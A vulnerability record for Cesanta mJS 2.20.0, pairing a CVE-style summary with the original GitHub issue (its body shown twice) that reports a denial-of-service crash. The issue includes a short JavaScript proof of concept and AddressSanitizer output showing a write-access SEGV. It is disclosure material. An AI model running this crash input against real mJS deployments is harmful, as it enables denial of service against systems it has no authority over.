Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0xe533e. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)

Version: 



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```


###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
isNaN(--isNaN) !== true

if (isNaN(-function () { return 1 }) !== true) {
    $ERROR('#Error' + (-function () { return 1 }));
}
```
</code></pre>
</details>	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==36318==ERROR: AddressSanitizer: SEGV on unknown address 0x559b7cd412cc (pc 0x559b7cd4133f bp 0x000000000043 sp 0x7fff0319d2b8 T0)
==36318==The signal is caused by a WRITE memory access.
    #0 0x559b7cd4133e  (/usr/local/bin/mjs+0xe533e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0xe533e)
==36318==ABORTING
```
Credits: Found by OWL337 team.
SEGV (/usr/local/bin/mjs+0xe533e)
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV (/usr/local/bin/mjs+0xe533e)
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)

Version: 



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```


###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
isNaN(--isNaN) !== true

if (isNaN(-function () { return 1 }) !== true) {
    $ERROR('#Error' + (-function () { return 1 }));
}
```
</code></pre>
</details>	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==36318==ERROR: AddressSanitizer: SEGV on unknown address 0x559b7cd412cc (pc 0x559b7cd4133f bp 0x000000000043 sp 0x7fff0319d2b8 T0)
==36318==The signal is caused by a WRITE memory access.
    #0 0x559b7cd4133e  (/usr/local/bin/mjs+0xe533e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0xe533e)
==36318==ABORTING
```
Credits: Found by OWL337 team.
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